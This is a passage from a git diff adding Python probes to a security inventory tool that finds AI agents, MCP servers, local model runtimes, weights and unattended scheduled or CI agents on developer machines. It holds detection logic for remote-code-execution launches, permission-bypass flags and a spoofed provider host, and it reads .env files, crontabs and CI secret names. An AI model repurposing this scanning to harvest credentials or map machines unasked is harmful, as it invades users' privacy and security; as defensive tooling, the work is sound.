Any: + value = raw.strip() + if value.startswith("[") and value.endswith("]"): + inner = value[1:-1].strip() + return [piece.strip().strip('"').strip("'") for piece in inner.split(",") if piece.strip()] + if value in ("true", "false"): + return value == "true" + return value.strip('"').strip("'") + + +def normalize_command(command: str) -> str: + """Reduce a command to the part both channels can agree on. + + A config writes ``/usr/local/bin/node``; a process table reports ``node``. + Same launch, and identity has to say so or the two channels never meet. + """ + base = posixpath.basename(str(command or "").replace("\\", "/")) + if base.lower().endswith(".exe"): + base = base[:-4] + # Case-folded: Windows reports the same executable in whatever casing the + # caller happened to type, and an identity that splits on that never lets + # the config and runtime channels meet. + return base.lower() + + +def server_identity(transport: str, command: str, args: List[str], url: str) -> str: + """Identity of an MCP server is what it launches, never what it is called. + + Two configs naming the same command are one server declared twice; two + servers both called ``github`` with different commands are two servers. + + Credential values are replaced with a fixed placeholder before hashing, and + the redaction happens *here* rather than at each call site, so the two + channels cannot disagree about it. Two consequences matter: rotating a token + no longer reads as an uninstall followed by a fresh install, and the asset id + stops being a hash derived from secret material. + """ + stable = redact_argv([str(command or "")] + [str(a) for a in (args or [])])[1:] + payload = "|".join([transport or "", (url or "").rstrip("/"), + normalize_command(command), " ".join(stable)]) + return "mcp:" + hashlib.sha256(payload.encode()).hexdigest()[:16] + + +def classify_launch(command: str, args: List[str], url: str) -> Tuple[bool, List[str], str]: + """Decide whether a launch is version-pinned, and why it might not be.""" + factors: List[str] = [] + # The same normalization identity uses: a Windows launcher spelled + # DOCKER.EXE or C:\Tools\npx.exe is the same launcher, and falling through + # to the default branch reports an unpinned launch as pinned. + base = normalize_command(command) + args = list(args or []) + joined = " ".join([command or ""] + args) + if REMOTE_EXEC.search(joined): + # Fetching a script and piping it to a shell is the highest-severity + # shape a stdio server can take. + factors.append("remote_code_execution") + return False, factors, "shell" + if url: + if url.startswith("http://"): + factors.append("plaintext_remote") + return True, factors, "remote" + if base == "docker": + image = first_operand(args, DOCKER_VALUE_OPTIONS, DOCKER_BOOLEAN_OPTIONS, + skip={"run", "exec", "create"}) + tag = image.rsplit("/", 1)[-1] + if not image or image.endswith(":latest") or ":" not in tag: + factors.append("unpinned_supply_chain") + return False, factors, "container" + return True, factors, "container" + if base in EPHEMERAL_LAUNCHERS: + method = "pypi-ephemeral" if base in PYPI_LAUNCHERS else "npm-ephemeral" + package = first_operand(args, LAUNCHER_VALUE_OPTIONS, LAUNCHER_BOOLEAN_OPTIONS, + skip={"run", "dlx", "exec"}) + if any(package.startswith(prefix) for prefix in VCS_PREFIXES): + factors.extend(["unpinned_supply_chain", "vcs_source"]) + return False, factors, method + pinned, reason = specification_is_pinned(package) + if not pinned: + factors.append(reason) + return pinned, factors, method + return True, factors, "unknown" + + +#: An exact, immutable version. Anything else - a range, a tag, an alias, a +#: wildcard - resolves to whatever the registry holds at launch. +_EXACT_VERSION = re.compile(r"^v?\d+\.\d+\.\d+(?:[-+][0-9A-Za-z.-]+)?$") +_COMMIT_SHA = re.compile(r"^[0-9a-f]{7,40}$") + + +def split_package_spec(package: str): + """Split ``name@spec``, respecting a leading scope.""" + text = str(package or "") + if not text: + return "", "" + body = text[1:] if text.startswith("@") else text + if "@" not in body: + return text, "" + name, _, spec = body.rpartition("@") + return ("@" + name) if text.startswith("@") else name, spec + + +def specification_is_pinned(package: str): + """Whether a package specification names one immutable artifact. + + A version is not a pin because it contains a digit: ``1.x``, ``1.2.*``, + ``beta``, ``npm:other`` and ``workspace:*`` all resolve to something that can + change underneath the fleet. + """ + if not package: + return False, "unpinned_supply_chain" + _, spec = split_package_spec(package) + if not spec: + return False, "unpinned_supply_chain" + if _EXACT_VERSION.match(spec) or _COMMIT_SHA.match(spec): + return True, "" + if ":" in spec: + # An alias or a protocol: npm:other, workspace:*, github:user/repo. + return False, "aliased_specification" + return False, "floating_range" + + +def first_operand(args: List[str], value_options: frozenset, boolean_options: frozenset, + skip: set) -> str: + """The first argument that is the thing being run, not an option's value. + + Options are recognized by exclusion rather than by enumeration: a known + boolean stands alone, and *anything else* is assumed to take a value. A + finite table of value-bearing options can only ever be as complete as the + day it was written, and every option it misses hands an attacker a way to + make a floating launch look pinned. Ambiguity therefore resolves toward + unpinned, which is the direction that fails safe. + """ + expect_value = False + for token in list(args or []): + text = str(token) + if expect_value: + expect_value = False + continue + if looks_like_flag(text): + name, separator, _ = split_flag(text) + normalized = normalize_flag(name) + if not separator and normalized not in boolean_options: + expect_value = normalized in value_options or True + continue + if text in skip: + continue + return text + return "" diff --git a/Discovery/adr_discovery/probes/openworld.py b/Discovery/adr_discovery/probes/openworld.py new file mode 100644 index 0000000..f153e13 --- /dev/null +++ b/Discovery/adr_discovery/probes/openworld.py @@ -0,0 +1,205 @@ +"""Stage 2: deciding something is an AI tool without knowing what it is. + +Closed-world fingerprinting only finds tools somebody already catalogued, which +excludes most of the shadow-AI risk by construction. These signals are weak +alone and decent in combination. Anything over the threshold becomes a review +queue item - triage, not an alert - and triage is what grows the catalog. +""" + +import json +import posixpath +from typing import Any, Dict, List + +from ..base_probe import BaseProbe, Observation +from ..env import DiscoveryEnv +from ..net import domain_matches, host_of +from ..redact import is_denied + +#: Hosts only an LLM client talks to. Matched exactly: a wildcard grant such as +#: ```` is breadth, not intent, and flagging it buries the operator in +#: password managers and ad blockers. +PROVIDER_HOSTS = ( + "api.anthropic.com", "api.openai.com", "generativelanguage.googleapis.com", + "bedrock-runtime", "api.mistral.ai", "api.cohere.ai", "api.x.ai", "api.deepseek.com", +) + +PROVIDER_KEY_NAMES = ("ANTHROPIC_API_KEY", "OPENAI_API_KEY", "GEMINI_API_KEY", + "GOOGLE_API_KEY", "MISTRAL_API_KEY", "COHERE_API_KEY") + +#: Signal weights. Any single strong signal clears the threshold; the weak ones +#: only matter in combination. The threshold belongs on a PR curve swept over +#: the corpus, not in a code review. +WEIGHTS = { + "mcp_participation": 0.6, + "runtime_shape": 0.6, + "network_intent": 0.55, + "state_shape": 0.5, + "credential_affinity": 0.3, +} + +THRESHOLD = 0.5 + +#: Roots scanned for uncatalogued agents. Personal content is excluded by the +#: deny-list before this list is ever consulted. +PROJECT_ROOTS = ("~/dev", "~/src", "~/workspace", "~/code") + +#: Tier 2 ceiling for a strings scan of a bundle executable. +MAX_STRINGS_BYTES = 2_000_000 + + +class OpenWorldProbe(BaseProbe): + """Scores what the catalog rejected. Runs after every other probe.""" + + name = "openworld" + + def collect(self, env: DiscoveryEnv) -> List[Observation]: + return [] + + def score_candidates(self, env: DiscoveryEnv, + observations: List[Observation]) -> List[Dict[str, Any]]: + try: + return self._score(env, observations) + except Exception as exc: + env.errors.append({"probe": self.name, "stage": "score", + "error_type": exc.__class__.__name__, "message": str(exc)}) + return [] + + # -- candidate assembly ---------------------------------------------- + + def _score(self, env: DiscoveryEnv, observations: List[Observation]) -> List[Dict[str, Any]]: + queue: List[Dict[str, Any]] = [] + seen = set() + for observation in observations: + if observation.catalog_id or observation.kind == "mcp_server": + continue + if observation.path in seen: + continue + seen.add(observation.path) + queue.append(self._entry(observation.name, observation.path, observation.kind, + self._signals_for_observation(env, observation))) + for path, name in self._directory_candidates(env): + if path in seen: + continue + seen.add(path) + signals, sessions = self._signals_for_directory(env, path) + queue.append(self._entry(name, path, "cli_agent", signals, sessions)) + return sorted([item for item in queue if item["score"] >= THRESHOLD], + key=lambda item: -item["priority"]) + + def _entry(self, name: str, path: str, kind: str, signals: Dict[str, bool], + sessions: int = 0) -> Dict[str, Any]: + fired = sorted(key for key, value in signals.items() if value) + score = round(min(1.0, sum(WEIGHTS[key] for key in fired)), 3) + # An unknown tool somebody uses daily is a more urgent triage item than + # an unknown tool nobody has opened. Usage is what orders the queue. + priority = round(min(2.0, score + min(0.5, sessions / 100.0)), 3) + return {"name": name, "path": path, "kind": kind, + "state": "probable_ai_unclassified", "signals": fired, + "score": score, "sessions": sessions, "priority": priority, + "threshold": THRESHOLD} + + def _directory_candidates(self, env: DiscoveryEnv): + for root in PROJECT_ROOTS: + base = env.expand(root) + for name in env.listdir(base): + path = posixpath.join(base, name) + if env.is_dir(path) and not is_denied(path): + yield path, name + known = set(self.catalog.state_dir_names()) + for name in env.listdir(env.home): + if not name.startswith("."): + continue + path = posixpath.join(env.home, name) + if "~/" + name in known or is_denied(path) or not env.is_dir(path): + continue + yield path, name.lstrip(".") + + # -- the signals ------------------------------------------------------ + + def _signals_for_observation(self, env: DiscoveryEnv, observation: Observation) -> Dict[str, bool]: + signals = {key: False for key in WEIGHTS} + extra = observation.extra or {} + if any(self._is_provider_target(item) for item in (extra.get("host_permissions") or [])): + signals["network_intent"] = True + if extra.get("serving"): + signals["runtime_shape"] = True + if observation.path.endswith(".app") and not signals["network_intent"]: + signals["network_intent"] = self._executable_mentions_provider(env, observation) + return signals + + def _signals_for_directory(self, env: DiscoveryEnv, path: str): + """Signals for a directory, plus how many chat-shaped sessions it holds.""" + signals = {key: False for key in WEIGHTS} + sessions = 0 + for logical, _ in env.walk(path, max_depth=3): + base = posixpath.basename(logical) + if base in (".env", ".envrc"): + result = env.read(logical, limit=64_000) + if result and any(name in result.text for name in PROVIDER_KEY_NAMES): + signals["credential_affinity"] = True + elif base in (".mcp.json", "mcp.json"): + signals["mcp_participation"] = True + elif base.endswith(".jsonl") and self._looks_like_chat(env, logical): + signals["state_shape"] = True + sessions += 1 + return signals, sessions + + def _looks_like_chat(self, env: DiscoveryEnv, logical: str) -> bool: + """A state file shaped like a conversation, whatever product wrote it.""" + result = env.read(logical, limit=64_000) + if not result: + return False + for line in result.text.splitlines()[:20]: + line = line.strip() + if not line: + continue + try: + record = json.loads(line) + except ValueError: + return False + if not isinstance(record, dict): + return False + if "role" in record and "content" in record: + return True + if isinstance(record.get("messages"), list): + return True + return False + + def _executable_mentions_provider(self, env: DiscoveryEnv, observation: Observation) -> bool: + """Bounded strings scan of the bundle executable only. + + Deliberately not the whole bundle: a changelog that mentions a provider + is documentation, not intent, and scanning it manufactures false twins. + """ + executable = (observation.extra or {}).get("executable") + if not executable: + return False + logical = posixpath.join(observation.path, "Contents/MacOS", executable) + result = env.read(logical, limit=MAX_STRINGS_BYTES) + if not result: + return False + # Substring matching is correct here and only here: this is a scan of + # opaque bytes for a literal, not a comparison of structured hosts. + return any(host in result.text for host in PROVIDER_HOSTS) + + def _is_provider_target(self, pattern: Any) -> bool: + """Compare parsed hosts, never substrings. + + ``api.openai.com.evil.test`` contains a provider host and is not one, + and a path segment that happens to spell one is not a host at all. + """ + text = str(pattern) + if "" in text or text in ("*://*/*", "http://*/*", "https://*/*"): + return False + host = host_of(text) + if not host: + return False + for provider in PROVIDER_HOSTS: + if "." in provider: + if domain_matches(host, provider): + return True + elif provider in host: + # A service name rather than a host, such as a Bedrock endpoint + # whose region prefix varies. + return True + return False diff --git a/Discovery/adr_discovery/probes/process.py b/Discovery/adr_discovery/probes/process.py new file mode 100644 index 0000000..6df9ed6 --- /dev/null +++ b/Discovery/adr_discovery/probes/process.py @@ -0,0 +1,252 @@ +"""Stage 2b: what is actually running, and what it spawned. + +The process tree is the only place the agent-to-MCP-server binding can be +*observed* rather than inferred from a config file. A server running that +appears in no config is close to a working definition of unsanctioned. +""" + +import posixpath +import re +from typing import Dict, List, Optional + +from ..base_probe import BaseProbe, Observation +from ..env import DiscoveryEnv, ProcessInfo +from ..paths import install_method, install_root +from ..redact import redact_argv +from .mcp import ( + DOCKER_BOOLEAN_OPTIONS, + DOCKER_VALUE_OPTIONS, + classify_launch, + first_operand, + server_identity, +) + +#: Interpreters that say nothing on their own - the payload is in argv. +INTERPRETERS = frozenset({"node", "python", "python3", "bun", "deno", "ruby", "sh", "bash"}) + +#: Directories searched when ``ps`` reports a bare command name rather than a +#: path, so a running agent resolves to the same real path the filesystem +#: probes found and the two observations merge instead of double-counting. +PATH_FALLBACK_DIRS = ("/opt/homebrew/bin", "/usr/local/bin", "/usr/bin", "/bin") + +#: A child of an agent is only a *candidate* MCP server. An agent also spawns +#: shells, linters, bundlers and build tools, and calling those servers +#: manufactures high-severity findings out of ordinary development. The +#: evidence has to be MCP-specific: the word "mcp" as a component of a token, +#: or the protocol's own package scope. "server" is not evidence - a file named +#: my-server-test.py is a test. +SERVER_MARKERS = ("mcp", "modelcontextprotocol") + +#: ``npm run x`` executes a package script, whatever the script is called. +TASK_RUNNERS = frozenset({"npm", "yarn", "pnpm", "bun", "just", "make"}) + +#: A shell is never an MCP server. Its argv is arbitrary user text - a command +#: that merely mentions a path containing "mcp" is not a server, and treating it +#: as one puts a security finding on whatever the developer happened to type. +#: A shell that a config genuinely declares is recovered by correlation instead. +SHELLS = frozenset({"sh", "bash", "zsh", "dash", "fish", "ksh", "csh", "tcsh", + "powershell", "pwsh", "cmd", "cmd.exe"}) + + +class ProcessProbe(BaseProbe): + name = "process" + + def collect(self, env: DiscoveryEnv) -> List[Observation]: + out: List[Observation] = [] + by_pid = {process.pid: process for process in env.processes} + agents: Dict[tuple, List[ProcessInfo]] = {} + for process in env.processes: + entry = self.catalog.match("binaries", posixpath.basename(process.exe)) + if entry: + key = (entry["id"], process.user or env.user, self._resolve_exe(env, process.exe)) + agents.setdefault(key, []).append(process) + continue + containerized = self._containerized(env, process) + if containerized is not None: + out.append(containerized) + continue + parent = by_pid.get(process.ppid) + if parent is None or not self.catalog.match("binaries", posixpath.basename(parent.exe)): + continue + if looks_like_server(process.argv): + out.append(self._child_server(env, process, parent)) + for (catalog_id, _, _), processes in sorted(agents.items()): + out.append(self._agent(env, processes, self.catalog.get(catalog_id))) + return out + + def _containerized(self, env: DiscoveryEnv, process: ProcessInfo) -> Optional[Observation]: + """An agent inside a container is invisible to a host-path scan.""" + if posixpath.basename(process.exe) != "docker" or "run" not in process.argv: + return None + image = first_operand(process.argv[1:], DOCKER_VALUE_OPTIONS, DOCKER_BOOLEAN_OPTIONS, + skip={"run", "exec", "create"}) + entry = None + for candidate in self.catalog.entries: + names = candidate.get("binaries", []) + [candidate["id"]] + if any(name and name in image for name in names): + entry = candidate + break + if entry is None: + return None + mounts = [token for index, token in enumerate(process.argv) + if index and process.argv[index - 1] in ("-v", "--volume")] + return Observation( + probe=self.name, channel="runtime", kind=entry.get("kind", "cli_agent"), + name=entry["name"], path=image, matched_on="container_image", + catalog_id=entry["id"], vendor=entry.get("vendor"), install_method="container", + owner=process.user or env.user, identity_hint="attr:%s" % entry["id"], + extra={"flags": ["containerized"], "image": image, "mounts": mounts, + "running": True, "location": "container"}, + confidence=0.55, + ) + + def _resolve_exe(self, env: DiscoveryEnv, exe: str) -> str: + """Turn a bare command name from ``ps`` into a path, when we can.""" + if exe.startswith("/"): + return exe + directories = [d for d in env.env_vars.get("PATH", "").split(":") if d] + directories.extend(PATH_FALLBACK_DIRS) + for directory in directories: + candidate = posixpath.join(directory, exe) + if env.exists(candidate): + return candidate + return exe + + def _agent(self, env: DiscoveryEnv, processes: List[ProcessInfo], entry) -> Observation: + """One asset per agent per user, carrying how many sessions are running. + + Six concurrent sessions are one agent used six times, not six agents. + """ + first = processes[0] + exe = self._resolve_exe(env, first.exe) + realpath = env.realpath(exe) + # An executable deleted after launch still ran. Dropping it for failing a + # stat would lose the most interesting process on the box. + flags = [] if env.exists(exe) else ["exe_missing"] + factors: List[str] = [] + for process in processes: + for token in process.argv: + if token in ("-p", "--print") and "unattended_run" not in factors: + factors.append("unattended_run") + if token == "--dangerously-skip-permissions" and "permission_bypass" not in factors: + factors.append("permission_bypass") + repositories, worktrees = self._repositories(env, processes) + sensitive = [path for path in repositories + if path in (env.policy.get("sensitive_repos") or [])] + if sensitive: + factors.append("sensitive_repository") + location = self._location_of(env, exe) + if location: + flags.append("remote_location") + return Observation( + probe=self.name, channel="runtime", kind=entry.get("kind", "cli_agent"), + name=entry["name"], path=exe, + matched_on="process:%s" % posixpath.basename(exe), + catalog_id=entry["id"], vendor=entry.get("vendor"), + realpath=exe if "exe_missing" in flags else realpath, + install_root=install_root(realpath), install_method=install_method(realpath, env.home), + owner=first.user or env.user, + extra={"pid": first.pid, "argv": redact_argv(first.argv), "cwd": first.cwd, + "running": True, "flags": flags, "session_count": len(processes), + "risk_factors": factors, "repositories": sorted(set(repositories)), + "worktrees": sorted(set(worktrees)), "location": location, + "mode": self._mode(processes)}, + confidence=0.65, + ) + + def _mode(self, processes: List[ProcessInfo]) -> Optional[str]: + """Sandboxed and permission-bypassed are different facts, not one.""" + for process in processes: + for index, token in enumerate(process.argv): + if token == "--permission-mode" and index + 1 < len(process.argv): + return process.argv[index + 1] + if token in ("--sandbox", "--sandboxed"): + return "sandbox" + if token == "--dangerously-skip-permissions": + return "bypassPermissions" + return None + + def _repositories(self, env: DiscoveryEnv, processes: List[ProcessInfo]): + """Resolve each working directory to its repository, worktrees included.""" + repositories, worktrees = [], [] + for process in processes: + if not process.cwd: + continue + marker = posixpath.join(process.cwd, ".git") + result = env.read(marker, limit=4096) + if result and result.text.startswith("gitdir:"): + # A worktree's .git is a file pointing back at the main repo, so + # three worktrees are three sessions in one repository. + pointer = result.text.split(":", 1)[1].strip() + repositories.append(pointer.split("/.git/")[0]) + worktrees.append(process.cwd) + else: + repositories.append(process.cwd) + return repositories, worktrees + + def _location_of(self, env: DiscoveryEnv, exe: str) -> Optional[str]: + for location in env.locations: + root = location.get("root", "").rstrip("/") + if root and exe.startswith(root + "/"): + return "%s:%s" % (location.get("kind", "location"), location.get("name", "unnamed")) + return None + + def _child_server(self, env: DiscoveryEnv, process: ProcessInfo, parent: ProcessInfo) -> Observation: + """A child of an agent process is an MCP server until shown otherwise.""" + # Identity from the raw launch, storage from the redacted one - the same + # split the config side makes, or the two channels describe one server + # with two identities and never merge. + raw_args = list(process.argv[1:]) + argv = redact_argv(process.argv) + pinned, factors, method = classify_launch(process.exe, raw_args, "") + parent_entry = self.catalog.match("binaries", posixpath.basename(parent.exe)) + return Observation( + probe=self.name, channel="runtime", kind="mcp_server", name=_server_name(argv), + path=process.exe, matched_on="child_of:%s" % posixpath.basename(parent.exe), + install_method=method, + identity_hint=server_identity("stdio", process.exe, raw_args, ""), + owner=process.user or env.user, + extra={"pid": process.pid, "ppid": parent.pid, "argv": argv, + "parent_agent": (parent_entry or {}).get("id"), "transport": "stdio", + "pinned": pinned, "risk_factors": factors, "running": True, + "flags": [] if env.exists(process.exe) else ["exe_missing"]}, + confidence=0.6, + ) + + +def looks_like_server(argv: List[str]) -> bool: + """Whether a child process is plausibly an MCP server rather than a tool call. + + Deliberately conservative, and deliberately not satisfied by the launcher + alone: ``npx`` runs eslint far more often than it runs a server. Anything + this misses that a config declares is recovered by correlation in the + runner, so the cost of being strict here is close to nothing, while the cost + of being loose is a security finding on every ``npx vite``. + """ + if not argv: + return False + launcher = posixpath.basename(str(argv[0])).lower() + if launcher in SHELLS: + return False + if launcher in TASK_RUNNERS and len(argv) > 1 and argv[1] in ("run", "run-script", "exec"): + return False + for token in argv: + lowered = str(token).lower() + if "modelcontextprotocol" in lowered: + return True + components = re.split(r"[^a-z0-9]+", lowered) + if "mcp" in components: + return True + return False + + +def _server_name(argv: List[str]) -> str: + """Name a server from what it launches, skipping flags and interpreters.""" + for token in argv[1:]: + if token.startswith("-") or token == "[REDACTED]": + continue + base = posixpath.basename(token) + if not base: + continue + return base if base.startswith("@") else base.rsplit("@", 1)[0] + return posixpath.basename(argv[0]) if argv else "unknown" diff --git a/Discovery/adr_discovery/probes/runtime.py b/Discovery/adr_discovery/probes/runtime.py new file mode 100644 index 0000000..1547d86 --- /dev/null +++ b/Discovery/adr_discovery/probes/runtime.py @@ -0,0 +1,161 @@ +"""Local model runtimes and the weights they hold. + +A listening port that answers a model-listing endpoint separates "actively +serving" from "installed once and forgotten", which is the distinction that +actually matters for risk. +""" + +import posixpath +from typing import Any, List, Optional, Tuple + +from ..base_probe import BaseProbe, Observation +from ..env import DiscoveryEnv +from ..paths import install_root + +#: Endpoints that identify an inference server without knowing the product. +MODEL_ENDPOINTS = ("/v1/models", "/api/tags") + +#: Weight file extensions. Weights are inventory in their own right: data at +#: rest, often tens of gigabytes, frequently without any runtime installed. +WEIGHT_SUFFIXES = (".gguf", ".safetensors", ".bin", ".pth", ".mlmodelc") + +#: Personal-content roots are deliberately absent: they are denied centrally, +#: and listing one here only produces a refusal record on every scan. +WEIGHT_DIRS = ("~/models", "~/.cache/huggingface/hub", "~/.cache/torch/hub", + "~/.local/share/models") + +MIN_WEIGHT_BYTES = 50_000_000 + + +class RuntimeProbe(BaseProbe): + name = "runtime" + + def collect(self, env: DiscoveryEnv) -> List[Observation]: + out: List[Observation] = [] + out.extend(self._model_dirs(env)) + out.extend(self._listeners(env)) + out.extend(self._loose_weights(env)) + return out + + def _model_dirs(self, env: DiscoveryEnv) -> List[Observation]: + """Runtimes identified by the model store they maintain.""" + out: List[Observation] = [] + for entry in self.catalog.entries: + for template in entry.get("model_dirs", []) or []: + base = env.expand(template) + if not env.is_dir(base): + continue + models = self._model_names(env, base) + out.append(Observation( + probe=self.name, channel="filesystem", kind=entry.get("kind", "model_runtime"), + name=entry["name"], path=base, matched_on="model_dir", + catalog_id=entry["id"], vendor=entry.get("vendor"), + realpath=None, install_root=install_root(base), + identity_hint="attr:%s" % entry["id"], owner=env.user, + extra={"models": models}, confidence=0.55, + )) + return out + + def _model_names(self, env: DiscoveryEnv, base: str) -> List[str]: + names = [] + for logical, path in env.walk(base, max_depth=4): + try: + if not path.is_file(): + continue + except OSError: + continue + relative = logical[len(base):].strip("/") + if relative: + names.append(relative) + return sorted(names) + + def _loose_weights(self, env: DiscoveryEnv) -> List[Observation]: + """Model weights with no runtime attached are still data on the endpoint.""" + out: List[Observation] = [] + for template in WEIGHT_DIRS: + base = env.expand(template) + if not env.is_dir(base): + continue + total, files = 0, [] + for logical, path in env.walk(base, max_depth=4): + if not logical.lower().endswith(WEIGHT_SUFFIXES): + continue + try: + size = path.stat().st_size + except OSError: + continue + total += size + files.append(posixpath.basename(logical)) + if not files: + continue + out.append(Observation( + probe=self.name, channel="filesystem", kind="model_weights", + name="Model weights (%s)" % posixpath.basename(base.rstrip("/")), + path=base, matched_on="weight_files", realpath=env.realpath(base), + install_root=base, owner=env.user, + extra={"models": sorted(files), "bytes": total}, confidence=0.5, + )) + return out + + def _listeners(self, env: DiscoveryEnv) -> List[Observation]: + """Identify every listener, probing them at the same time. + + A serial sweep costs one timeout per port that is not an inference + server, which on an ordinary developer machine is most of them. + """ + from concurrent.futures import ThreadPoolExecutor + + listeners = [socket for socket in env.sockets if socket.state == "LISTEN"] + if not listeners: + return [] + with ThreadPoolExecutor(max_workers=min(16, len(listeners))) as pool: + identified = list(pool.map(lambda item: self._identify(env, item.port), listeners)) + out: List[Observation] = [] + for socket, (payload, endpoint) in zip(listeners, identified): + if payload is None: + continue + entry = self.catalog.match_port(socket.port) + process = next((p for p in env.processes if p.pid == socket.pid), None) + name = (entry or {}).get("name") + if not name and process: + name = posixpath.basename(process.exe) + out.append(Observation( + probe=self.name, channel="runtime", + kind=(entry or {}).get("kind", "model_runtime"), + name=name or "unidentified model runtime", + path=process.exe if process else "port:%d" % socket.port, + matched_on="endpoint:%s" % endpoint, catalog_id=(entry or {}).get("id"), + vendor=(entry or {}).get("vendor"), + realpath=env.realpath(process.exe) if process else None, + install_root=install_root(process.exe) if process else None, + identity_hint=(None if process or not entry else "attr:%s" % entry["id"]), + owner=(process.user if process else env.user), + extra={"models": _model_names(payload), "port": socket.port, + "endpoint": endpoint, "serving": True, "running": True}, + confidence=0.7, + )) + return out + + def _identify(self, env: DiscoveryEnv, port: int) -> Tuple[Optional[Any], Optional[str]]: + for endpoint in MODEL_ENDPOINTS: + payload = env.http_get(port, endpoint) + if payload: + return payload, endpoint + return None, None + + +def _model_names(payload: Any) -> List[str]: + if not isinstance(payload, dict): + return [] + for key in ("data", "models"): + items = payload.get(key) + if not isinstance(items, list): + continue + names = [] + for item in items: + if isinstance(item, dict): + names.append(str(item.get("id") or item.get("name") or "")) + else: + names.append(str(item)) + return sorted(name for name in names if name) + return [] diff --git a/Discovery/adr_discovery/probes/scheduler.py b/Discovery/adr_discovery/probes/scheduler.py new file mode 100644 index 0000000..610cd01 --- /dev/null +++ b/Discovery/adr_discovery/probes/scheduler.py @@ -0,0 +1,251 @@ +"""Agents that run without a person watching. + +Scheduled, delegated and background agents are the hardest to see and the least +supervised: a launchd job at 3am, a CI workflow holding repository credentials, +a task dispatched to a vendor's cloud runner. Each is an agent with access, and +none of them shows up in a process table sampled during the working day. +""" + +import plistlib +import posixpath +import re +from typing import Any, Dict, List, Optional + +from ..base_probe import BaseProbe, Observation +from ..env import DiscoveryEnv +from ..redact import redact_argv + +PROJECT_ROOTS = ("~/dev", "~/src", "~/workspace", "~/code") + +LAUNCH_AGENT_DIRS = ("~/Library/LaunchAgents", "/Library/LaunchAgents", "/Library/LaunchDaemons") + +SYSTEMD_DIRS = ("~/.config/systemd/user", "/etc/systemd/system") + +#: Where a host application records work it handed to a cloud runner. +CLOUD_SESSION_FILES = { + "claude-code": "~/.claude/cloud-sessions.json", + "codex": "~/.codex/cloud-tasks.json", +} + +#: Claude Desktop keeps delegated background runs beside interactive ones. +DISPATCH_ROOTS = { + "darwin": "~/Library/Application Support/Claude/local-agent-mode-sessions", + "windows": "%APPDATA%/Claude/local-agent-mode-sessions", + "linux": "~/.config/claude-desktop/local-agent-mode-sessions", +} + +CRON_LINE = re.compile(r"^\s*([\d*/,\-]+(?:\s+[\d*/,\-]+){4})\s+(.*)$") + + +class SchedulerProbe(BaseProbe): + name = "scheduler" + + def collect(self, env: DiscoveryEnv) -> List[Observation]: + out: List[Observation] = [] + out.extend(self._launchd(env)) + out.extend(self._cron(env)) + out.extend(self._systemd(env)) + out.extend(self._windows_tasks(env)) + out.extend(self._ci_workflows(env)) + out.extend(self._dispatch_sessions(env)) + out.extend(self._cloud_sessions(env)) + return out + + # -- local schedulers ------------------------------------------------- + + def _launchd(self, env: DiscoveryEnv) -> List[Observation]: + out: List[Observation] = [] + for directory in LAUNCH_AGENT_DIRS: + base = env.expand(directory) + for name in env.listdir(base): + if not name.endswith(".plist"): + continue + logical = posixpath.join(base, name) + result = env.read(logical) + if not result: + continue + try: + data = plistlib.loads(result.data) + except Exception as exc: + self.error(env, logical, "malformed plist: %s" % exc) + continue + argv = [str(item) for item in (data.get("ProgramArguments") or [])] + if not argv and data.get("Program"): + argv = [str(data["Program"])] + entry = self._match(argv) + if not entry: + continue + schedule = self._launchd_schedule(data) + flags = ["runs_at_login"] if data.get("RunAtLoad") else [] + out.append(self._scheduled(env, logical, entry, argv, schedule, "launchd", flags)) + return out + + def _launchd_schedule(self, data: Dict[str, Any]) -> str: + if data.get("StartInterval"): + return "every %ss" % data["StartInterval"] + calendar = data.get("StartCalendarInterval") + if isinstance(calendar, dict): + return "at %02d:%02d" % (int(calendar.get("Hour", 0)), int(calendar.get("Minute", 0))) + if data.get("RunAtLoad"): + return "at login" + return "unknown" + + def _cron(self, env: DiscoveryEnv) -> List[Observation]: + text = env.run(["crontab", "-l"], timeout=2.0) + if not text: + return [] + out: List[Observation] = [] + for line in text.splitlines(): + if line.strip().startswith("#"): + continue + match = CRON_LINE.match(line) + if not match: + continue + argv = match.group(2).split() + entry = self._match(argv) + if entry: + out.append(self._scheduled(env, "crontab", entry, argv, match.group(1), "cron", [])) + return out + + def _systemd(self, env: DiscoveryEnv) -> List[Observation]: + out: List[Observation] = [] + for directory in SYSTEMD_DIRS: + base = env.expand(directory) + units = {name for name in env.listdir(base) if name.endswith(".timer")} + for timer in sorted(units): + service = timer[:-6] + ".service" + result = env.read(posixpath.join(base, service)) + if not result: + continue + argv = [] + schedule = "unknown" + for line in result.text.splitlines(): + if line.startswith("ExecStart="): + argv = line.split("=", 1)[1].split() + timer_body = env.read(posixpath.join(base, timer)) + if timer_body: + for line in timer_body.text.splitlines(): + if line.startswith(("OnCalendar=", "OnUnitActiveSec=")): + schedule = line.split("=", 1)[1].strip() + entry = self._match(argv) + if entry: + out.append(self._scheduled(env, posixpath.join(base, service), entry, + argv, schedule, "systemd", [])) + return out + + def _windows_tasks(self, env: DiscoveryEnv) -> List[Observation]: + out: List[Observation] = [] + for task in env.scheduled_tasks: + argv = task.get("argv") or str(task.get("action", "")).split() + entry = self._match(argv) + if not entry: + continue + out.append(self._scheduled(env, "task:%s" % task.get("name", "unnamed"), entry, argv, + str(task.get("schedule", "unknown")), "scheduled_task", [])) + return out + + # -- delegated execution ---------------------------------------------- + + def _ci_workflows(self, env: DiscoveryEnv) -> List[Observation]: + """An agent in CI runs with repository credentials and no human present.""" + out: List[Observation] = [] + for root in PROJECT_ROOTS: + for logical, _ in env.walk(env.expand(root), max_depth=4): + if "/.github/workflows/" not in logical or not logical.endswith((".yml", ".yaml")): + continue + result = env.read(logical) + if not result: + continue + entry = self._match(result.text.split()) + if not entry: + continue + secrets = sorted(set(re.findall(r"secrets\.([A-Z0-9_]+)", result.text))) + trigger = "schedule" if "schedule:" in result.text else "event" + repository = logical.split("/.github/")[0] + out.append(Observation( + probe=self.name, channel="config", kind="ci_agent", name=entry["name"], + path=logical, matched_on="ci_workflow", catalog_id=entry["id"], + vendor=entry.get("vendor"), install_method="ci", owner=env.user, + identity_hint="sched:%s:%s" % (entry["id"], logical), + extra={"trigger": trigger, "repository": repository, + "risk_factors": ["unattended_run"], "secrets": secrets, + "scope": "project"}, + confidence=0.55, + )) + return out + + def _dispatch_sessions(self, env: DiscoveryEnv) -> List[Observation]: + base = env.expand(DISPATCH_ROOTS.get(env.platform, "")) + if not base or not env.is_dir(base): + return [] + out: List[Observation] = [] + seen = set() + for logical, _ in env.walk(base, max_depth=6): + if not logical.endswith("audit.jsonl"): + continue + session = posixpath.basename(posixpath.dirname(logical)) + dispatch = "/agent/" in 